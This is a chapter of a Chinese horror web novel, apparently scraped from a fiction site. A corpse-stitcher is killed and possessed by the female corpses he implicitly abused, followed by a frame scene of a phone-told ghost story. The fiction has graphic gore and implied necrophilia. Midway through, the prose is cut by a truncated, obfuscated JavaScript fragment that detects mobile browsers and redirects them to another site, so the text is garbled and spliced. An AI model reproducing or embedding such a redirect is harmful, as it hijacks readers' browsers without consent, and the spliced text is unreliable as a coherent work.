49.缝尸匠——宋大胆(四)

作品:《心惊胆颤

    "出来!"他的吼声在颤抖,手中的骨锯沾满了自己掌心的汗水,"老子...老子不怕你..."


    回应他的是一阵布料摩擦的声音。


    宋大胆猛地抬头,看见房梁上垂下一缕黑发,发梢正滴着暗红色的液体。


    那液体落在地上,竟像是有生命般蜿蜒着向他脚边爬来。


    当那截断臂碰到他时,宋大胆的裤腿立刻被浸透了。不是血,而是一种粘稠的、散发着草药味的液体。


    断臂灵活得可怕,正沿着他的后背滑动,每移动一寸,就在他皮肤上留下青紫色的指痕。


    "你...摸过...我..."女尸的声音突然从极近的地方传来,带着腐肉般甜腻的气息,"现在...轮到...我...摸你..."


    宋大胆的视线不受控制地向下移动,看到女尸就趴在他脚边,脖子扭曲成不可能的角度,用仅剩的一只眼睛直勾勾地盯着他。


    更可怕的是,她的腹部——那个他以为只是胀气的隆起——正在有规律地蠕动,像是有什么东西在里面踢打。


    宋大胆大叫一声,抬步就要向外跑去,可他的脚就像是被什么绊住了一样。


    由于惯性原因,他直接向前摔飞出去,脑袋也重重撞到桌子上。


    这一跤,摔不得轻,当他再次回过神来时,原地已经没有女尸的身影。


    顾不得额头上鲜血直流,宋大胆赶紧撑起上半身,四处张望寻找女尸踪影。


    可女尸就仿佛凭空消失了一样,到处都没有她的影子。


    “你是在找我吗?”


    随着声音响起,宋大胆已经知道她在哪儿了。


    因为女尸独有的两条断臂,已经从他后脑处伸到前方,环住宋大胆的脖子。


    当那双断臂环住他脖子时,宋大胆突然想起师父临终前的话:"人死前会看见走马灯..."


    但此刻闪回在他眼前的,却是无数被他缝过的尸体——她们全都睁着眼睛,嘴唇蠕动说着同一个词:


    "为...什...么..."


    接着,一个初有人性的血饼,从女士□□缓缓掉出,像是有意识般,朝着宋大胆的身上扭动爬去。


    极度恐惧使得宋大胆心跳几近停滞,脖子上的断臂力度大到几乎要压碎他的肩膀,也控制着他所有行动。


    在看到人形血饼那一刻,他终于知道究竟是哪个环节出了错误。


    然而就算他想明白一切,也为时已晚,血饼伴着一大束黑色头发已经在宋大胆的绝望目光中,钻进他的嘴里。


    怪不得。


    看来自己今天竟然连犯了三个禁忌。


    宋大胆的视线开始模糊,眼前浮现出无数熟悉的面容。


    那些曾经被他"精心照料"过的女尸们,此刻都从记忆深处走了出来,带着令他毛骨悚然的温柔笑意。


    最先出现的是柳溪村的李寡妇。


    宋大胆还记得那晚灵堂里摇曳的烛光,和她嘴角那颗动人的痣。


    此刻她正站在他面前,嘴角挂着诡异的微笑。


    "宋师傅,"她的声音轻柔得可怕,"您不是说最喜欢我的笑容吗?"


    宋大胆想闭上眼,却发现眼皮已经不听使唤。


    李寡妇的脸越贴越近,那张曾经被他精心装扮过的面容开始扭曲变形,嘴角一直裂到耳根。


    "您看,我笑得多好看啊..."


    接着是杨家的姑娘,那个被马车碾断双腿的可怜人。


    宋大胆曾花了整整三个晚上为她"修补"。


    现在她飘在半空中,残缺的裙摆下露出他亲手制作的竹制假腿。


    "宋师傅的手艺真好,"她轻轻抚摸着假腿,"就是晚上总喜欢掀开我的裙子看..."


    宋大胆想辩解,却发现喉咙里塞满了湿漉漉的头发。


    杨小姐突然凑到他耳边,冰冷的气息喷在他脸上:


    "您知道吗?那些晚上我都醒着..."


    最让宋大胆恐惧的是阿莲。


    那个被他用特殊药水保存了三个月的"完美作品"。


    此刻她正坐在他腿上,姿势就像那些不堪回首的夜晚一样。


    "宋师傅,"小翠的声音甜得发腻,"您不是说会永远陪着我吗?"


    她冰凉的手指抚上宋大胆的脸,指甲慢慢变长,在他皮肤上划出细小的血痕。


    "现在,轮到我来陪您了..."


    宋大胆的眼前开始闪现更多画面:张家的新媳妇、赵府的千金、还有那个不知名的卖唱女...她们一个接一个地围上来,用他曾经说过的话问候他。


    "您不是说我很美吗?"


    "您不是最喜欢我的头发吗?"


    "您不是说会好好照顾我吗?"


    每句话都像刀子一样扎进宋大胆的心脏。他这才明白,原来那些夜晚,那些自以为神不知鬼不觉的"亲密时刻",她们都记得。


    阿莲的手突然掐住他的下巴,强迫他看向房间角落。


    那里站着他‘收藏’的第一具女尸,正对着宋大胆露出诡异的微笑。


    "宋师傅,"所有女尸齐声说,"该您来当我们的''藏品''了..."


    宋大胆感觉自己的身体正在发生可怕的变化。


    他的皮肤开始变得冰冷僵硬,关节发出不自然的"咔咔"声,但他竟感到一丝诡异的...愉悦。


    在失去意识前的最后一刻,他看见自己的双手正不受控制地拿起骨锯,对准了大腿...


    当"宋大胆"重新站起来时,他的意识被囚禁在一个狭小的黑暗空间里。


    透过眼睛的窗口,他看见自己的双手正在娴熟地削制竹条——就像他曾经为无数尸体做过的那样。


    "不...住手..."他想尖叫,却只发出微弱的"嗬嗬"声。


    那些钻进体内的头发正在他的声带里蠕动,精准地控制着每一声呼吸。


    最痛苦的不是剥皮的剧痛,而是他必须清醒地看着——看着自己的皮肤被一寸寸剥离,看着鲜血滴在女尸苍白的躯体上,看着"自己"用最精细的针法将人皮缝合成完美的"新衣"。


    "很...美..."女尸的声音从他自己的喉咙里发出。


    宋大胆这才惊恐地意识到,那些头发已经接管了他的声带。


    当最后一针落下时,屋外的暴雨突然停了。月光透过窗棂照进来,在地上投下诡异的图案——两个相连的影子,一个完整,一个支离破碎。


    宋大胆感觉有什么东西从自己体内抽离。在生命最后的几秒里,他忽然明白了胡半仙那句话的真正含义:


    "三天内别开棺..."


    原来不是警告,而是...倒计时。


    他的视线最后定格在工作台上——那具女尸现在拥有完美的新肢体,而她的腹部正以肉眼可见的速度隆起。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049684|178037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >更可怕的是,她手里拿着宋大胆常用的那根缝尸针,针尖正对着他的眼睛缓缓靠近...


    第二天正午,卖豆腐的老王敲响了宋大胆的家门。他闻到一股奇怪的味道,像是腐烂的肉混合着某种草药香。


    "宋师傅?您要的豆腐我送来了。"


    没有回应。


    老王凑近门缝,看见地上有暗红色的痕迹一直延伸到里屋。


    他正想再喊一声,突然听见里面传来"咔嚓咔嚓"的声响——像是有人在剪裁布料,又像是...牙齿咀嚼骨头的声音。


    "宋师傅?"


    "吱呀"——门开了一条缝。老王看见宋大胆背对着他站在工作台前,肩膀以一种怪异的角度耸动着。


    "放...门口..."声音沙哑得不似人声。


    老王放下豆腐快步离开,直到转过巷口才敢回头。他分明看见,宋大胆家的窗纸上映出了两个人的影子——一个在缝补,另一个...正抚摸着隆起的腹部。


    孟英的声音透过电话传来,带着一种奇特的韵律感,像是深夜电台里播放的安魂曲。


    当最后一个字落下时,窗外恰好传来一声猫头鹰的啼叫,为这个故事画上完美的休止符。


    我握着手机的手心已经沁出一层薄汗。


    "这...这太..."


    我张了张嘴,却找不到合适的词汇。


    电话那头传来孟英轻浅的笑声,像是风吹过风铃的脆响。


    "吓到了?"她问,声音里带着几分俏皮,"这才第一个故事呢。"


    我看了眼窗外,发现天色已经完全暗了下来。


    山庄里的路灯一盏盏亮起,在雾气中晕开昏黄的光晕。远处山林里传来不知名鸟类的鸣叫,衬得夜色更加静谧。


    "不是吓到,"我斟酌着词句,"是震撼。你讲得太真实了,就好像..."我顿了顿,"就好像你亲眼见过一样。"


    电话那头沉默了几秒。我听见轻微的呼吸声,还有...是纸张翻动的声音吗?


    "每个故事都有原型。"孟英最终说道,声音突然变得飘忽,"你想听听关于这个山庄的故事吗?据说三十年前..."


    "等等!"我急忙打断她,看了眼墙上指向十一点的挂钟,"这么晚了讲这个,我怕是睡不着了。"


    孟英又笑了,这次的笑声像是少女般清脆。


    我们就这样聊了起来,从恐怖小说创作技巧到各自喜欢的作家,再到生活中遇到的趣事。


    她的谈吐风趣幽默,完全不像刚才讲鬼故事时那个阴森森的语气。


    不知过了多久,我打了个哈欠,这才惊觉已经午夜十二点半了。


    "我该挂了,"孟英突然说,声音又恢复了那种空灵的特质,"明天同一个时间,我给你讲捞尸人的故事。"


    挂断电话后,我躺在床上辗转反侧。窗外的树影在月光下摇曳,像是无数伸向夜空的手。


    就在我即将入睡时,手机突然"叮"的一声——是孟英发来的照片。


    画面里是一只大黄狗正扑向一只蝙蝠,背景是...等等,那个雕花窗棂怎么这么眼熟?


    我猛地坐起身,看向自己房间的窗户。一模一样的雕花样式。


    "巧合吧..."我喃喃自语,却再也无法入睡。


    直到天光微亮,我才迷迷糊糊地睡去,梦里全是孟英讲故事时那种特殊的、带着回音的语调。